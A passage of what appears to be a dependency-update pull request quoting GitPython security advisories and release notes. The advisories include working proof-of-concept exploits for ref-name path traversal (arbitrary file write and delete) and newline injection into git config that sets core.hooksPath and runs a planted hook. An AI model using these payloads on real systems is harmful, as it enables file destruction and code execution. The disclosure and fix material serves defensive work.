        Severity\n- CVSS Score: 8.1 / 10 (High)\n- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485)\n-
        [https://nvd.nist.gov/vuln/detail/CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284)\n-
        [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47)\n-
        [https://github.com/advisories/GHSA-x2qx-6953-8485](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-x2qx-6953-8485)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        GitPython reference APIs has a path traversal vulnerability that allows arbitrary
        file write and delete outside the repository\n[CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243)
        / [GHSA-7545-fcxq-7j24](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n##### \U0001F9FE Summary\n\nA vulnerability
        in **GitPython** allows **attackers who can supply a crafted reference path
        to an application using GitPython** to **write, overwrite, move, or delete
        files outside the repository\u2019s `.git` directory** via **insufficient
        validation of reference paths in reference creation, rename, and delete operations**.\n\n---\n\n#####
        \U0001F4E6 Affected Versions\n\n* Affected: `<= 3.1.46` and current `main`
        (`3.1.47` in local checkout)\n\n---\n\n##### \U0001F9E0 Details\n\n##### Vulnerability
        Type\n\n**Path Traversal leading to Arbitrary File Write and Arbitrary File
        Deletion**\n\n---\n\n##### Root Cause\n\nReference paths are validated when
        they are resolved for reading, but are not consistently validated before filesystem
        write, rename, and delete operations.\n\n`SymbolicReference._check_ref_name_valid()`
        rejects traversal sequences such as `..`, but `SymbolicReference.create`,
        `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`,
        and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled
        ref names without enforcing repository boundaries.\n\n---\n\n##### Affected
        Code\n\n```python\ndef set_reference(self, ref, logmsg=None):\n    ...\n    fpath
        = self.abspath\n    assure_directory_exists(fpath, is_file=True)\n\n    lfd
        = LockedFD(fpath)\n    fd = lfd.open(write=True, stream=True)\n    ...\n```\n\n```python\n@&#8203;classmethod\ndef
        delete(cls, repo, path):\n    full_ref_path = cls.to_full_path(path)\n    abs_path
        = os.path.join(repo.common_dir, full_ref_path)\n    if os.path.exists(abs_path):\n
        \       os.remove(abs_path)\n```\n\n```python\ndef rename(self, new_path,
        force=False):\n    new_path = self.to_full_path(new_path)\n    new_abs_path
        = os.path.join(_git_dir(self.repo, new_path), new_path)\n    cur_abs_path
        = os.path.join(_git_dir(self.repo, self.path), self.path)\n    ...\n    os.rename(cur_abs_path,
        new_abs_path)\n```\n\n---\n\n##### Attack Vector\n\n**Local attack through
        application-controlled input passed into GitPython reference APIs**\n\n#####
        Authentication Required\n\n**None at the library boundary. In practice, exploitation
        requires the ability to influence ref names supplied by the consuming application.**\n\n---\n\n#####
        \U0001F9EA Proof of Concept\n\n##### Setup\n\n```bash\npip install GitPython==3.1.46\npython
        poc.py\n```\n\n---\n\n##### Exploit\n\n```python\nimport shutil\nfrom pathlib
        import Path\n\nfrom git import Repo\nfrom git.refs.reference import Reference\nfrom
        git.refs.symbolic import SymbolicReference\n\nbase = Path(\"gp-ghsa-poc\").resolve()\nif
        base.exists():\n    shutil.rmtree(base)\n\nrepo_dir = base / \"repo\"\nrepo
        = Repo.init(repo_dir)\n\n(repo_dir / \"a.txt\").write_text(\"init\\n\", encoding=\"utf-8\")\nrepo.index.add([\"a.txt\"])\nrepo.index.commit(\"init\")\n\noutside_write
        = base / \"outside_write.txt\"\noutside_delete = base / \"outside_delete.txt\"\noutside_delete.write_text(\"DELETE
        ME\\n\", encoding=\"utf-8\")\n\nprint(f\"repo_dir       = {repo_dir}\")\nprint(f\"outside_write
        \ = {outside_write}\")\nprint(f\"outside_delete = {outside_delete}\")\n\nReference.create(repo,
        \"../../../outside_write.txt\", \"HEAD\")\n\nprint(\"\\n[+] outside_write
        exists:\", outside_write.exists())\nif outside_write.exists():\n    print(\"[+]
        outside_write content:\")\n    print(outside_write.read_text(encoding=\"utf-8\"))\n\nSymbolicReference.delete(repo,
        \"../../../outside_delete.txt\")\n\nprint(\"\\n[+] outside_delete exists after
        delete:\", outside_delete.exists())\n```\n\n---\n\n##### Result\n\n```text\nrepo_dir
        \      = ...\\gp-ghsa-poc\\repo\noutside_write  = ...\\gp-ghsa-poc\\outside_write.txt\noutside_delete
        = ...\\gp-ghsa-poc\\outside_delete.txt\n\n[+] outside_write exists: True\n[+]
        outside_write content:\n<current HEAD commit SHA>\n\n[+] outside_delete exists
        after delete: False\n```\n\n---\n\n##### \U0001F4A5 Impact\n\n##### What can
        an attacker do?\n\n* Create or overwrite files outside the repository metadata
        directory\n* Delete attacker-chosen files reachable from the process permissions\n*
        Corrupt application state or configuration files\n* Cause denial of service
        by deleting or overwriting important files\n\n---\n\n##### Security Impact\n\n*
        **Confidentiality:** Low\n* **Integrity:** High\n* **Availability:** High\n\n---\n\n#####
        Who is affected?\n\n* Applications that expose GitPython reference operations
        to user-controlled input\n* Git automation services, repository management
        backends, CI/CD helpers, and developer platforms\n* Multi-user environments
        where one user can influence ref names processed on behalf of another workflow\n\n---\n\n#####
        \U0001F6E0\uFE0F Mitigation / Fix\n\n##### Recommended Fix\n\n```python\ndef
        _validate_ref_write_path(repo, path, *, for_git_dir=False):\n    SymbolicReference._check_ref_name_valid(path)\n\n
        \   base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()\n
        \   target = (base / path).resolve()\n\n    if base not in [target, *target.parents]:\n
        \       raise ValueError(f\"Reference path escapes repository boundary: {path}\")\n\n
        \   return str(target)\n```\n\n```python\nfull_ref_path = cls.to_full_path(path)\n_validate_ref_write_path(repo,
        full_ref_path)\n```\n\n#### Severity\n- CVSS Score: 7.8 / 10 (High)\n- Vector
        String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24)\n-
        [https://nvd.nist.gov/vuln/detail/CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243)\n-
        [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.48)\n-
        [https://github.com/advisories/GHSA-7545-fcxq-7j24](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-7545-fcxq-7j24)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        GitPython: Newline injection in config_writer().set_value() enables RCE via
        core.hooksPath\n[CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244)
        / [GHSA-v87r-6q3f-2j67](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\n`GitConfigParser.set_value()` passes
        values to Python's `configparser` without validating for newlines. GitPython's
        own `_write()` converts embedded newlines into indented continuation lines
        (e.g. `\\n` becomes `\\n\\t`), but Git still accepts an indented `[core]`
        stanza as a section header \u2014 so the injected `core.hooksPath` becomes
        effective configuration. Any Git operation that invokes hooks (commit, merge,
        checkout) will then execute scripts from the attacker-controlled path.\n\nThe
        vulnerability is not merely malformed config output: GitPython's own writer
        converts embedded newlines into indented continuation lines, but Git still
        accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath`
        becomes effective configuration.\n\nThis was found while auditing MLRun's
        `project.push()` method, which passes `author_name` and `author_email` directly
        to `config_writer().set_value()` with no sanitization. Both parameters cross
        a trust boundary \u2014 they are caller-supplied API inputs that end up in
        `.git/config`.\n\nPoC (standalone, no MLRun required):\n\n```python\nimport
        git, subprocess, os\n\nrepo = git.Repo(\"/tmp/testrepo\")\n\nwith repo.config_writer()
        as cw:\n    cw.set_value(\"user\", \"name\", \"foo\\n[core]\\nhooksPath=/tmp/hooks\")\n\nr
        = subprocess.run([\"git\", \"config\", \"core.hooksPath\"], cwd=\"/tmp/testrepo\",
        capture_output=True, text=True)\nassert r.returncode == 0\nprint(r.stdout.strip())
        \ # /tmp/hooks\n\nos.makedirs(\"/tmp/hooks\", exist_ok=True)\nopen(\"/tmp/hooks/pre-commit\",
        \"w\").write(\"#!/bin/sh\\nid > /tmp/pwned\\n\")\nos.chmod(\"/tmp/hooks/pre-commit\",
        0o755)\n\nrepo.index.add([\"README\"])\nrepo.git.commit(m=\"test\")\nprint(open(\"/tmp/pwned\").read())
        \ # uid=...\n```\n\nTested on GitPython 3.1.46, git 2.39+.\n\nImpact: This
        is persistent repo config poisoning. Any user who can supply `author_name`
        or `author_email` to an application calling `config_writer().set_value()`
        can redirect Git hook execution to an arbitrary path. In a multi-user or hosted
        environment (e.g. a shared MLRun server where multiple users push to the same
        repositories), one user can poison the `.git/config` of a shared repo and
        have their hooks run in the context of every subsequent Git operation by any
        user. On single-user deployments, the impact depends on whether the application
        later invokes Git hooks automatically.\n\nRemediation: `set_value()` should
        raise on CR, LF, or NUL in values rather than silently pass them through:\n\n```python\nimport
        re\n\nif isinstance(value, (str, bytes)) and re.search(r\"[\\r\\n\\x00]\",
        str(value)):\n    raise ValueError(\"Git config values must not contain CR,
        LF, or NUL\")\n```\n\nRejecting is safer than stripping \u2014 a stripped
        newline might indicate the caller is passing unsanitized input at a higher
        level, and silent normalization masks that.\n\nAffected wherever `config_writer().set_value(section,
        key, user_input)` is called with external input.** GitPython is a dependency
        of DVC, MLflow, Kedro, and others \u2014 worth auditing their `set_value()`
        call sites for externally influenced inputs.\n\n#### Severity\n- CVSS Score:
        7.8 / 10 (High)\n- Vector String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67)\n-
        [https://nvd.nist.gov/vuln/detail/CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244)\n-
        [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.49)\n-
        [https://github.com/advisories/GHSA-v87r-6q3f-2j67](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-v87r-6q3f-2j67)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        GitPython: Newline injection in config_writer() section parameter bypasses
        CVE-2026-42215 patch, enabling RCE via core.hooksPath\n[GHSA-mv93-w799-cj2w](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)\n\n<details>\n<summary>More
        information</summary>\n\n#### Details\nSummary\n\nThe patch for CVE-2026-42215
        (GitPython 3.1.49) validates newlines only in the value parameter of set_value().
        The section and option parameters are passed to configparser without any newline
        validation. An attacker who controls the section argument can inject \\n to
        write arbitrary section headers into .git/config, including a forged [core]
        section with hooksPath pointing to an attacker-controlled directory, leading
        to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014
        GitPython 3.1.49 (latest patched version)\n\n```python\n  def set_value(self,
        section: str, option: str, value) -> \"GitConfigParser\":\n      value_str
        = self._value_to_string_safe(value)   # only value is validated\n      if
        not self.has_section(section):\n          self.add_section(section)                    #
        section not validated\n      super().set(section, option, value_str)          #
        option not validated\n      return self\n```\n\n_write() formats section headers
        as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n
        \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n
        \ import git, os, subprocess\n\n  repo = git.Repo.init(\"/tmp/bypass_test\")\n\n
        \ os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n  with open(\"/tmp/evil_hooks/pre-commit\",
        \"w\") as f:\n      f.write(\"#!/bin/sh\\nid > /tmp/rce_proof.txt\\n\")\n
        \ os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n  # Inject newline into
        section parameter (not value \u2014 already patched)\n  with repo.config_writer()
        as cw:\n      cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n
        \ r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n
        \                    capture_output=True, text=True)\n  print(r.stdout.strip())
        \ # \u2192 /tmp/evil_hooks\n\n  subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\",
        \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n  print(open(\"/tmp/rce_proof.txt\").read())
        \ # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome
        as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete
        \u2014 only value is validated while section and option remain injectable.\n\n####
        Severity\n- CVSS Score: 7.0 / 10 (High)\n- Vector String: `CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H`\n\n####
        References\n- [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w](https://redirect.github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w)\n-
        [https://github.com/advisories/GHSA-rpm5-65cw-6hj4](https://redirect.github.com/advisories/GHSA-rpm5-65cw-6hj4)\n-
        [https://github.com/advisories/GHSA-mv93-w799-cj2w](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)\n\nThis
        data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-mv93-w799-cj2w)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        Release Notes\n\n<details>\n<summary>gitpython-developers/GitPython (GitPython)</summary>\n\n###
        [`v3.1.50`](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.49...3.1.50)\n\n[Compare
        Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.49...3.1.50)\n\n###
        [`v3.1.49`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.49):
        - Security\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.48...3.1.49)\n\n####
        What's Changed\n\n- reject control chars in written values in configuration
        by [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2137](https://redirect.github.com/gitpython-developers/GitPython/pull/2137)\n-
        Improve pure Python rev-parse coverage and behavior  by [@&#8203;Copilot](https://redirect.github.com/Copilot)
        in [#&#8203;2136](https://redirect.github.com/gitpython-developers/GitPython/pull/2136)\n\n**Full
        Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.48...3.1.49>\n\n###
        [`v3.1.48`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.48):
        - Security\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.47...3.1.48)\n\nAccidentally
        deleted the previous GH release, it did mention the advisory this fixes.\n\n#####
        What's Changed\n\n- prevent out-of-repo access when manipulating references.
        by [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2134](https://redirect.github.com/gitpython-developers/GitPython/pull/2134)\n\n**Full
        Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.47...3.1.48>\n\n###
        [`v3.1.47`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.47):
        - with security fixes\n\n[Compare Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47)\n\n####
        Advisories\n\n- <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4>\n-
        <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485>\n\n####
        What's Changed\n\n- Prepare next release by [@&#8203;Byron](https://redirect.github.com/Byron)
        in [#&#8203;2095](https://redirect.github.com/gitpython-developers/GitPython/pull/2095)\n-
        Bump git/ext/gitdb from `335c0f6` to `4c63ee6` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
        in [#&#8203;2096](https://redirect.github.com/gitpython-developers/GitPython/pull/2096)\n-
        DOC: README Add urls and updated a relative url by [@&#8203;Timour-Ilyas](https://redirect.github.com/Timour-Ilyas)
        in [#&#8203;2098](https://redirect.github.com/gitpython-developers/GitPython/pull/2098)\n-
        Fix GitConfigParser ignoring multiple \\[include] path entries by [@&#8203;daniel7an](https://redirect.github.com/daniel7an)
        in [#&#8203;2100](https://redirect.github.com/gitpython-developers/GitPython/pull/2100)\n-
        Switch back from Alpine to Debian for WSL by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2108](https://redirect.github.com/gitpython-developers/GitPython/pull/2108)\n-
        Bump git/ext/gitdb from `4c63ee6` to `5c1b303` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
        in [#&#8203;2106](https://redirect.github.com/gitpython-developers/GitPython/pull/2106)\n-
        Run `gc.collect()` twice in `test_rename` on Python 3.12 by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2109](https://redirect.github.com/gitpython-developers/GitPython/pull/2109)\n-
        fix: guard AutoInterrupt terminate during interpreter shutdown by [@&#8203;lweyrich1](https://redirect.github.com/lweyrich1)
        in [#&#8203;2105](https://redirect.github.com/gitpython-developers/GitPython/pull/2105)\n-
        Improve CI infrastructure for pre-commit by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2110](https://redirect.github.com/gitpython-developers/GitPython/pull/2110)\n-
        Bump the pre-commit group with 5 updates by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
        in [#&#8203;2111](https://redirect.github.com/gitpython-developers/GitPython/pull/2111)\n-
        Upgrade Sphinx for 3.14 support; drop doc build support on 3.8; test 3.14
        by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan) in [#&#8203;2112](https://redirect.github.com/gitpython-developers/GitPython/pull/2112)\n-
        Fix `Repo.active_branch` resolution for reftable-backed repositories by [@&#8203;Copilot](https://redirect.github.com/Copilot)
        in [#&#8203;2114](https://redirect.github.com/gitpython-developers/GitPython/pull/2114)\n-
        docs: warn about GitDB performance with large commits by [@&#8203;mvanhorn](https://redirect.github.com/mvanhorn)
        in [#&#8203;2115](https://redirect.github.com/gitpython-developers/GitPython/pull/2115)\n-
        cmd: fix kwarg formatting in docstring example by [@&#8203;UweSchwaeke](https://redirect.github.com/UweSchwaeke)
        in [#&#8203;2117](https://redirect.github.com/gitpython-developers/GitPython/pull/2117)\n-
        Bump <https://github.com/astral-sh/ruff-pre-commit> from v0.15.5 to 0.15.8
        in the pre-commit group by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
        in [#&#8203;2122](https://redirect.github.com/gitpython-developers/GitPython/pull/2122)\n-
        Add trailer support for commit creation by [@&#8203;Krishnachaitanyakc](https://redirect.github.com/Krishnachaitanyakc)
        in [#&#8203;2116](https://redirect.github.com/gitpython-developers/GitPython/pull/2116)\n-
        Harden commit trailer subprocess handling and align trailer I/O paths by [@&#8203;Copilot](https://redirect.github.com/Copilot)
        in [#&#8203;2125](https://redirect.github.com/gitpython-developers/GitPython/pull/2125)\n-
        git.cmd.Git.execute(..): fix `with_stdout=False` by [@&#8203;ngie-eign](https://redirect.github.com/ngie-eign)
        in [#&#8203;2126](https://redirect.github.com/gitpython-developers/GitPython/pull/2126)\n-
        Make sure that multi-options are checked after splitting them with `shlex`
        by [@&#8203;Byron](https://redirect.github.com/Byron) in [#&#8203;2130](https://redirect.github.com/gitpython-developers/GitPython/pull/2130)\n-
        Block unsafe underscored git kwargs / Fix for GHSA-rpm5-65cw-6hj4 by [@&#8203;WesR](https://redirect.github.com/WesR)
        in [#&#8203;2131](https://redirect.github.com/gitpython-developers/GitPython/pull/2131)\n\n####
        New Contributors\n\n- [@&#8203;Timour-Ilyas](https://redirect.github.com/Timour-Ilyas)
        made their first contribution in [#&#8203;2098](https://redirect.github.com/gitpython-developers/GitPython/pull/2098)\n-
        [@&#8203;daniel7an](https://redirect.github.com/daniel7an) made their first
        contribution in [#&#8203;2100](https://redirect.github.com/gitpython-developers/GitPython/pull/2100)\n-
        [@&#8203;lweyrich1](https://redirect.github.com/lweyrich1) made their first
        contribution in [#&#8203;2105](https://redirect.github.com/gitpython-developers/GitPython/pull/2105)\n-
        [@&#8203;Copilot](https://redirect.github.com/Copilot) made their first contribution
        in [#&#8203;2114](https://redirect.github.com/gitpython-developers/GitPython/pull/2114)\n-
        [@&#8203;mvanhorn](https://redirect.github.com/mvanhorn) made their first
        contribution in [#&#8203;2115](https://redirect.github.com/gitpython-developers/GitPython/pull/2115)\n-
        [@&#8203;UweSchwaeke](https://redirect.github.com/UweSchwaeke) made their
        first contribution in [#&#8203;2117](https://redirect.github.com/gitpython-developers/GitPython/pull/2117)\n-
        [@&#8203;Krishnachaitanyakc](https://redirect.github.com/Krishnachaitanyakc)
        made their first contribution in [#&#8203;2116](https://redirect.github.com/gitpython-developers/GitPython/pull/2116)\n-
        [@&#8203;ngie-eign](https://redirect.github.com/ngie-eign) made their first
        contribution in [#&#8203;2126](https://redirect.github.com/gitpython-developers/GitPython/pull/2126)\n-
        [@&#8203;WesR](https://redirect.github.com/WesR) made their first contribution
        in [#&#8203;2131](https://redirect.github.com/gitpython-developers/GitPython/pull/2131)\n\n**Full
        Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47>\n\n###
        [`v3.1.46`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.46)\n\n[Compare
        Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.45...3.1.46)\n\n####
        What's Changed\n\n- Prepare a new release by [@&#8203;Byron](https://redirect.github.com/Byron)
        in [#&#8203;2063](https://redirect.github.com/gitpython-developers/GitPython/pull/2063)\n-
        Bump actions/checkout from 4 to 5 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
        in [#&#8203;2067](https://redirect.github.com/gitpython-developers/GitPython/pull/2067)\n-
        Bump git/ext/gitdb from `335c0f6` to `39d7dbf` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
        in [#&#8203;2068](https://redirect.github.com/gitpython-developers/GitPython/pull/2068)\n-
        Bump actions/setup-python from 5 to 6 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
        in [#&#8203;2070](https://redirect.github.com/gitpython-developers/GitPython/pull/2070)\n-
        Bump git/ext/gitdb from `39d7dbf` to `f8fdfec` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
        in [#&#8203;2071](https://redirect.github.com/gitpython-developers/GitPython/pull/2071)\n-
        Fix type hint for `SymbolicReference.reference` property by [@&#8203;emmanuel-ferdman](https://redirect.github.com/emmanuel-ferdman)
        in [#&#8203;2074](https://redirect.github.com/gitpython-developers/GitPython/pull/2074)\n-
        feat: Add support for hasconfig git rule. by [@&#8203;bvanelli](https://redirect.github.com/bvanelli)
        in [#&#8203;2075](https://redirect.github.com/gitpython-developers/GitPython/pull/2075)\n-
        Bump github/codeql-action from 3 to 4 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
        in [#&#8203;2076](https://redirect.github.com/gitpython-developers/GitPython/pull/2076)\n-
        Use actual return type in annotation for method submodule\\_update by [@&#8203;extrwi](https://redirect.github.com/extrwi)
        in [#&#8203;2078](https://redirect.github.com/gitpython-developers/GitPython/pull/2078)\n-
        Bump git/ext/gitdb from `f8fdfec` to `65321a2` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
        in [#&#8203;2082](https://redirect.github.com/gitpython-developers/GitPython/pull/2082)\n-
        Preliminary support for index format v3 by [@&#8203;blahgeek](https://redirect.github.com/blahgeek)
        in [#&#8203;2081](https://redirect.github.com/gitpython-developers/GitPython/pull/2081)\n-
        Bump actions/checkout from 5 to 6 by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
        in [#&#8203;2084](https://redirect.github.com/gitpython-developers/GitPython/pull/2084)\n-
        Pin `mypy==1.18.2` by [@&#8203;George-Ogden](https://redirect.github.com/George-Ogden)
        in [#&#8203;2087](https://redirect.github.com/gitpython-developers/GitPython/pull/2087)\n-
        Respect `os.Pathlike` by [@&#8203;George-Ogden](https://redirect.github.com/George-Ogden)
        in [#&#8203;2086](https://redirect.github.com/gitpython-developers/GitPython/pull/2086)\n-
        Bump git/ext/gitdb from `65321a2` to `4c63ee6` by [@&#8203;dependabot](https://redirect.github.com/dependabot)\\[bot]
        in [#&#8203;2093](https://redirect.github.com/gitpython-developers/GitPython/pull/2093)\n-
        Join `Pathlike` Object to Tree by [@&#8203;George-Ogden](https://redirect.github.com/George-Ogden)
        in [#&#8203;2094](https://redirect.github.com/gitpython-developers/GitPython/pull/2094)\n\n####
        New Contributors\n\n- [@&#8203;emmanuel-ferdman](https://redirect.github.com/emmanuel-ferdman)
        made their first contribution in [#&#8203;2074](https://redirect.github.com/gitpython-developers/GitPython/pull/2074)\n-
        [@&#8203;bvanelli](https://redirect.github.com/bvanelli) made their first
        contribution in [#&#8203;2075](https://redirect.github.com/gitpython-developers/GitPython/pull/2075)\n-
        [@&#8203;extrwi](https://redirect.github.com/extrwi) made their first contribution
        in [#&#8203;2078](https://redirect.github.com/gitpython-developers/GitPython/pull/2078)\n-
        [@&#8203;blahgeek](https://redirect.github.com/blahgeek) made their first
        contribution in [#&#8203;2081](https://redirect.github.com/gitpython-developers/GitPython/pull/2081)\n-
        [@&#8203;George-Ogden](https://redirect.github.com/George-Ogden) made their
        first contribution in [#&#8203;2087](https://redirect.github.com/gitpython-developers/GitPython/pull/2087)\n\n**Full
        Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.45...3.1.46>\n\n###
        [`v3.1.45`](https://redirect.github.com/gitpython-developers/GitPython/releases/tag/3.1.45)\n\n[Compare
        Source](https://redirect.github.com/gitpython-developers/GitPython/compare/3.1.44...3.1.45)\n\n####
        What's Changed\n\n- Fix various version-related CI breakages by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;1987](https://redirect.github.com/gitpython-developers/GitPython/pull/1987)\n-
        Do some CI cleanup to make reports clearer and future changes easier by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;1989](https://redirect.github.com/gitpython-developers/GitPython/pull/1989)\n-
        Affirm that gitdb and smmap advisories can also be created by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;1991](https://redirect.github.com/gitpython-developers/GitPython/pull/1991)\n-
        Fix links to gitdb and smmap `SECURITY.md` files by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;1992](https://redirect.github.com/gitpython-developers/GitPython/pull/1992)\n-
        Test Python 3.13 regularly on Ubuntu and macOS on CI by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;1990](https://redirect.github.com/gitpython-developers/GitPython/pull/1990)\n-
        Repo.rev\\_parse: Handle <tag>^{commit} correctly by [@&#8203;flichtenheld](https://redirect.github.com/flichtenheld)
        in [#&#8203;1996](https://redirect.github.com/gitpython-developers/GitPython/pull/1996)\n-
        Fuzzing: Fix Broken Fuzz Test for Git Submodule Handling by [@&#8203;DaveLak](https://redirect.github.com/DaveLak)
        in [#&#8203;1997](https://redirect.github.com/gitpython-developers/GitPython/pull/1997)\n-
        Work around Cygwin CI failure [#&#8203;2004](https://redirect.github.com/gitpython-developers/GitPython/issues/2004),
        except for `test_installation` by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2007](https://redirect.github.com/gitpython-developers/GitPython/pull/2007)\n-
        Mark `test_installation` xfail on Cygwin CI by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2009](https://redirect.github.com/gitpython-developers/GitPython/pull/2009)\n-
        `IndexFile._to_relative_path` - fix case where absolute path gets stripped
        of trailing slash by [@&#8203;kamilkozik7](https://redirect.github.com/kamilkozik7)
        in [#&#8203;2012](https://redirect.github.com/gitpython-developers/GitPython/pull/2012)\n-
        Use WSL1 on CI by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2010](https://redirect.github.com/gitpython-developers/GitPython/pull/2010)\n-
        Test free-threaded Python (but only on Linux) by [@&#8203;EliahKagan](https://redirect.github.com/EliahKagan)
        in [#&#8203;2011](https://redirect.github.com/gitpython-developers/GitPython/pull/2011)\n-
        Use property decorator to support typing by [@&#8203;Andrej730](https://redirect.github.com/Andrej730)
        in [#&#8203;2015](https://redirect.github.com/gitpython-developers/GitPython/pull/2015)\n-
        Fix some incorrect sphinx markups in the docstrings by [@&#8203;koyuki7w](https://redirect.github.com/koyuki7w)
        in [#&#8203;2018](https://redirect.github.com/gitpython-developers/GitPython/pull/2018)\n-
        replace quansight-labs/setup-python with actions/setup-python by [@&#8203;ngoldbaum](https://redirect.github.com/ngoldbaum)
